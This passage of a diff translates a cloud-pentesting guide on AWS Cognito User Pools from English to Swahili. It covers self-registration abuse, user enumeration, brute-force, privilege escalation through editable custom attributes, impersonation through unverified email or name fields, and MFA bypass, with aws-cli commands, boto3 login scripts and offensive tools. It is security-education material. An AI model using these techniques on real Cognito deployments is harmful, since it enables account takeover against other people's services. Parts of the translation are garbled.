credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- Huduma za kujiandikisha na kuingia. +- UI ya wavuti iliyojengwa ndani, inayoweza kubadilishwa ili kuingia kwa watumiaji. +- Kuingia kwa kijamii na Facebook, Google, Login with Amazon, na Sign in with Apple, na kupitia mtoa huduma wa kitambulisho wa SAML na OIDC kutoka kwa maktaba yako ya watumiaji. +- Usimamizi wa directory ya watumiaji na wasifu wa watumiaji. +- Vipengele vya usalama kama uthibitishaji wa hatua nyingi (MFA), ukaguzi wa akidi zilizovunjika, ulinzi wa kuchukua akaunti, na uthibitishaji wa simu na barua pepe. +- Mifumo ya kazi iliyobadilishwa na uhamaji wa watumiaji kupitia AWS Lambda triggers. -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +**Msimbo wa chanzo** wa programu kawaida pia utakuwa na **user pool ID** na **client application ID**, (na wakati mwingine **application secret**?) ambazo zinahitajika kwa **mtumiaji kuingia** kwenye Maktaba ya Mtumiaji ya Cognito. ### Potential attacks -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **Usajili**: Kwa default mtumiaji anaweza kujiandikisha mwenyewe, hivyo anaweza kuunda mtumiaji kwa ajili yake mwenyewe. +- **Uainishaji wa watumiaji**: Kazi ya usajili inaweza kutumika kupata majina ya watumiaji ambayo tayari yapo. Taarifa hii inaweza kuwa muhimu kwa shambulio la brute-force. +- **Login brute-force**: Katika sehemu ya [**Uthibitishaji**](cognito-user-pools.md#authentication) una **mbinu** zote ambazo mtumiaji anapaswa **kuingia**, unaweza kujaribu kujaribu nguvu **kupata akidi halali**. ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sasa inajumuisha moduli za `cognito__enum` na `cognito__attack` ambazo zinafanya otomatiki uainishaji wa mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia zinafanya otomatiki uundaji wa watumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za maktaba zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk.\ +Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji wa akaunti zisizohitajika na oracle ya akaunti. Angalia [hii kiungo](https://github.com/padok-team/cognito-scanner) kwa maelezo zaidi. ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): Hii skripti inaruhusu kuhesabu sifa halali za watumiaji. ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## Usajili -## Registration - -User Pools allows by **default** to **register new users**. - +User Pools inaruhusu kwa **default** **kujiandikisha watumiaji wapya**. ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### Ikiwa mtu yeyote anaweza kujiandikisha -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +Unaweza kupata kosa linaloonyesha kuwa unahitaji **kutoa maelezo zaidi** kuhusu mtumiaji: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +Unaweza kutoa maelezo yanayohitajika kwa JSON kama: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +Unaweza kutumia kazi hii pia **kuorodhesha watumiaji waliopo.** Hii ndiyo ujumbe wa kosa wakati mtumiaji tayari yupo na jina hilo: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] > Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> Pia fahamu kwamba unapojisajili **huwezi kuunda sifa mpya za kawaida kwa mtumiaji**. Unaweza tu kutoa thamani kwa **sifa za kawaida** (hata kama hazihitajiki) na **sifa za kawaida zilizotajwa**. +Au tu kujaribu kama id ya mteja inapatikana. Hii ndiyo hitilafu ikiwa client-id haipo: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### Ikiwa ni admin pekee ndiye anaweza kujiandikisha watumiaji -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +Utapata kosa hili na huwezi kujiandikisha au kuhesabu watumiaji: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` - ### Verifying Registration -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito inaruhusu **kuhakiki mtumiaji mpya kwa kuangalia barua pepe yake au nambari ya simu**. Hivyo, unapounda mtumiaji kwa kawaida utahitajika angalau jina la mtumiaji na nenosiri na **barua pepe na/au nambari ya simu**. Weka moja **unayoimiliki** ili upokee msimbo wa **kuhakiki** akaunti ya mtumiaji **ulioundwa** hivi: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> Hata kama **inaonekana unaweza kutumia barua pepe sawa** na nambari ya simu, unapohitaji kuthibitisha mtumiaji aliyeundwa Cognito italamika kuhusu kutumia taarifa sawa na **haitakuruhusu kuthibitisha akaunti**. -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### Kuinua Mamlaka / Kusasisha Sifa +Kwa kawaida mtumiaji anaweza **kubadilisha thamani ya sifa zake** kwa kitu kama: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### Uhamasishaji wa sifa za kawaida > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> Unaweza kupata **sifa za kawaida** zikitumika (kama `isAdmin`), kwani kwa kawaida unaweza **kubadilisha thamani za sifa zako** unaweza kuwa na uwezo wa **kuongeza mamlaka** kwa kubadilisha thamani mwenyewe! -#### Email/username modification privesc +#### Uhamasishaji wa mabadiliko ya barua pepe/jina la mtumiaji -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +Unaweza kutumia hii **kubadilisha barua pepe na nambari ya simu** ya mtumiaji, lakini kisha, hata kama akaunti inabaki kuwa imethibitishwa, sifa hizo zimewekwa katika hali isiyo thibitishwa (unahitaji kuzithibitisha tena). > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> Hutaweza kuingia kwa kutumia barua pepe au nambari ya simu hadi uzithibitisha, lakini utaweza kuingia kwa kutumia jina la mtumiaji.\ +> Kumbuka kwamba hata kama barua pepe ilibadilishwa na haijathibitishwa itaonekana katika Token ya Kitambulisho ndani ya **`email`** **field** na uwanja **`email_verified`** utakuwa **uongo**, lakini ikiwa programu **haiangalii hiyo unaweza kujifanya kuwa watumiaji wengine**. -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> Zaidi ya hayo, kumbuka kwamba unaweza kuweka chochote ndani ya **`name`** field kwa kubadilisha **sifa ya jina**. Ikiwa programu inakagua **hiyo** field kwa sababu fulani **badala ya `email`** (au sifa nyingine yoyote) unaweza kuwa na uwezo wa **kujifanya kuwa watumiaji wengine**. +Hata hivyo, ikiwa kwa sababu fulani umebadilisha barua pepe yako kwa mfano kuwa mpya unayoweza kufikia unaweza **kuthibitisha barua pepe hiyo kwa kutumia nambari uliyopokea katika anwani hiyo ya barua pepe**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +Tumia **`phone_number`** badala ya **`email`** kubadilisha/thibitisha **nambari mpya ya simu**. > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> Msimamizi pia anaweza kuwezesha chaguo la **kuingia kwa kutumia jina la mtumiaji linalopendekezwa na mtumiaji**. Kumbuka kwamba huwezi kubadilisha thamani hii kuwa **jina lolote la mtumiaji au preferred_username ambalo tayari linatumika** kuiga mtumiaji mwingine. -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### Rejesha/Badilisha Nenosiri +Inawezekana kurejesha nenosiri kwa kujua tu **jina la mtumiaji** (au email au simu inakubaliwa) na kuwa na ufaccess kwa sababu nambari itatumwa huko: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> Jibu la seva daima litakuwa chanya, kama vile jina la mtumiaji lilipo. Huwezi kutumia njia hii kuhesabu watumiaji +Kwa msimbo unaweza kubadilisha nenosiri kwa: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +Ili kubadilisha nenosiri unahitaji **kujua nenosiri la awali**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` - ## Authentication -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. +Mkusanyiko wa watumiaji unasaidia **njia tofauti za kuthibitisha** kwake. Ikiwa una **jina la mtumiaji na nenosiri** kuna pia **mbinu tofauti** zinazosaidiwa kuingia.\ +Zaidi ya hayo, wakati mtumiaji anathibitishwa katika Mkusanyiko **aina 3 za tokeni hutolewa**: **ID Token**, **Access token** na **Refresh token**. -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Inajumuisha madai kuhusu **utambulisho wa mtumiaji aliyethibitishwa,** kama vile `jina`, `barua pepe`, na `nambari ya simu`. ID token inaweza pia kutumika **kuhuthibitisha watumiaji kwenye seva zako za rasilimali au programu za seva**. Lazima **uthibitishe** **sahihi** ya ID token kabla ya kuweza kuamini madai yoyote ndani ya ID token ikiwa unaitumia katika programu za nje. +- ID Token ndiyo token ambayo **ina thamani za sifa za mtumiaji**, hata zile za kawaida. +- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Inajumuisha madai kuhusu mtumiaji aliyethibitishwa, orodha ya **makundi ya mtumiaji, na orodha ya mipaka**. Lengo la access token ni **kuidhinisha operesheni za API** katika muktadha wa mtumiaji katika mkusanyiko wa watumiaji. Kwa mfano, unaweza kutumia access token **kumpatia mtumiaji wako ufikiaji** wa kuongeza, kubadilisha, au kufuta sifa za mtumiaji. +- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Kwa kutumia refresh tokens unaweza **kupata ID Tokens na Access Tokens mpya** kwa mtumiaji hadi **refresh token iwe batili**. Kwa **kawaida**, refresh token **inaisha siku 30 baada** ya mtumiaji wa programu yako kuingia kwenye mkusanyiko wako wa watumiaji. Unapounda programu kwa ajili ya mkusanyiko wako wa watumiaji, unaweza kuweka muda wa kumalizika wa refresh token wa programu kuwa **thamani yoyote kati ya dakika 60 na miaka 10**. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +Hii ni mchakato wa uthibitishaji upande wa seva: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- Programu ya upande wa seva inaita **`AdminInitiateAuth` API operation** (badala ya `InitiateAuth`). Operesheni hii inahitaji ithibitisho za AWS zenye ruhusa zinazojumuisha **`cognito-idp:AdminInitiateAuth`** na **`cognito-idp:AdminRespondToAuthChallenge`**. Operesheni inarudisha vigezo vya uthibitishaji vinavyohitajika. +- Baada ya programu ya upande wa seva kuwa na **vigezo vya uthibitishaji**, inaita **`AdminRespondToAuthChallenge` API operation**. Operesheni ya `AdminRespondToAuthChallenge` inafanikiwa tu unapotoa ithibitisho za AWS. -This **method is NOT enabled** by default. +Hii **mbinu HAIRUHUSIWI** kwa kawaida. -To **login** you **need** to know: +Ili **kuingia** unahitaji kujua: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- kitambulisho cha mkusanyiko wa watumiaji +- kitambulisho cha mteja +- jina la mtumiaji +- nenosiri +- siri ya mteja (tu ikiwa programu imewekwa ili kutumia siri) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> Ili uweze **kuingia kwa njia hii** programu hiyo lazima iruhusu kuingia kwa `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ +> Zaidi ya hayo, ili kufanya kitendo hiki unahitaji ithibitisho zenye ruhusa **`cognito-idp:AdminInitiateAuth`** na **`cognito-idp:AdminRespondToAuthChallenge`** ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +Kanuni ya Kuingia ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +Hii njia ni nyingine rahisi na **mchakato wa uthibitishaji wa mtumiaji na nenosiri wa jadi**. Inapendekezwa **kuhamasisha njia ya uthibitishaji wa jadi** **kwenda Cognito** na **inapendekezwa** kisha **kuzimwa** na **kutumia** kisha **ALLOW_USER_SRP_AUTH** badala yake (kwa sababu hiyo haitumii nenosiri kwenye mtandao).\ +Hii **njia HAIRUHUSIWI** kwa default. -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +Tofauti kuu na **njia ya uthibitishaji ya awali** ndani ya msimbo ni kwamba **huhitaji kujua kitambulisho cha kundi la watumiaji** na kwamba **huhitaji ruhusa za ziada** katika Kundi la Watumiaji la Cognito. -To **login** you **need** to know: +Ili **kuingia** unahitaji kujua: -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- kitambulisho cha mteja +- jina la mtumiaji +- nenosiri +- siri ya mteja (tu ikiwa programu imewekwa ili kutumia siri) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> Ili uweze **kuingia kwa njia hii** programu hiyo lazima iruhusu kuingia kwa ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
Python code to Login - ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +Hii ni hali inayofanana na ile ya awali lakini **badala ya kutuma nenosiri** kupitia mtandao kuingia, **uthibitishaji wa changamoto unafanywa** (hivyo hakuna nenosiri linalopita hata kama limeandikwa kwa usalama kupitia mtandao).\ +Hii **mbinu imewezeshwa** kwa default. -To **login** you **need** to know: +Ili **kuingia** unahitaji kujua: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- kitambulisho cha kundi la watumiaji +- kitambulisho cha mteja +- jina la mtumiaji +- nenosiri +- siri ya mteja (tu ikiwa programu imewekwa ili kutumia siri)
Code to login - ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +Hii **mbinu daima itakuwa halali** (haiwezi kuzuiliwa) lakini unahitaji kuwa na tokeni ya kusasisha halali. ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +Kanuni ya kusasisha ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +Katika kesi hii, **uthibitishaji** utafanywa kupitia **utendaji wa kazi ya lambda**. -## Extra Security +## Usalama wa Ziada -### Advanced Security +### Usalama wa Juu -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +Kwa kawaida umezimwa, lakini ikiwa umewezeshwa, Cognito inaweza kuwa na uwezo wa **kupata uhamasishaji wa akaunti**. Ili kupunguza uwezekano, unapaswa kuingia kutoka kwenye **mtandao ndani ya jiji moja, ukitumia wakala yule yule wa mtumiaji** (na IP ikiwa inawezekana)**.** -### **MFA Remember device** +### **Kumbuka kifaa cha MFA** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +Ikiwa mtumiaji anaingia kutoka kwenye kifaa kilekile, MFA inaweza kupuuziliwa mbali, hivyo jaribu kuingia kutoka kwenye kivinjari kilekile na metadata ile ile (IP?) ili kujaribu kupuuzilia mbali ulinzi wa MFA. -## User Pool Groups IAM Roles +## Majukumu ya Kundi la User Pool IAM -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +Inawezekana kuongeza **watumiaji kwenye Kundi la User Pool** ambalo lina uhusiano na **majukumu ya IAM**.\ +Zaidi ya hayo, **watumiaji** wanaweza kupewa **kundi zaidi ya 1 lenye majukumu tofauti ya IAM**. -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +Kumbuka kwamba hata kama kundi liko ndani ya kundi lenye jukumu la IAM lililounganishwa, ili kuweza kupata akidi za IAM za kundi hilo inahitajika kwamba **User Pool itumike na Identity Pool** (na kujua maelezo ya Identity Pool hiyo). -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +Sharti lingine ili kupata **jukumu lililoonyeshwa katika IdToken** wakati mtumiaji anathibitishwa katika User Pool (`aws cognito-idp initiate-auth...`) ni kwamba **Mtoa Huduma wa Utambulisho** anahitaji kuonyesha kwamba **jukumu linapaswa kuchaguliwa kutoka kwenye token.**
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +**Majukumu** ambayo mtumiaji anaweza kufikia yako **ndani ya `IdToken`**, na mtumiaji anaweza **kuchagua ni jukumu gani anataka akidi zake** kwa kutumia **`--custom-role-arn`** kutoka `aws cognito-identity get-credentials-for-identity`.\ +Hata hivyo, ikiwa **chaguo la kawaida** ndilo **limewekwa** (`tumia jukumu la kawaida`), na unajaribu kufikia jukumu kutoka kwenye IdToken, utapata **kosa** (ndiyo maana usanidi wa awali unahitajika): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> Kumbuka kwamba jukumu lililotolewa kwa **User Pool Group** linahitaji kuwa **linapatikana na Mtoa Kitambulisho** ambaye **anatumaini User Pool** (kama **akili za kikao za IAM** zitapatikana kutoka kwake). ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include 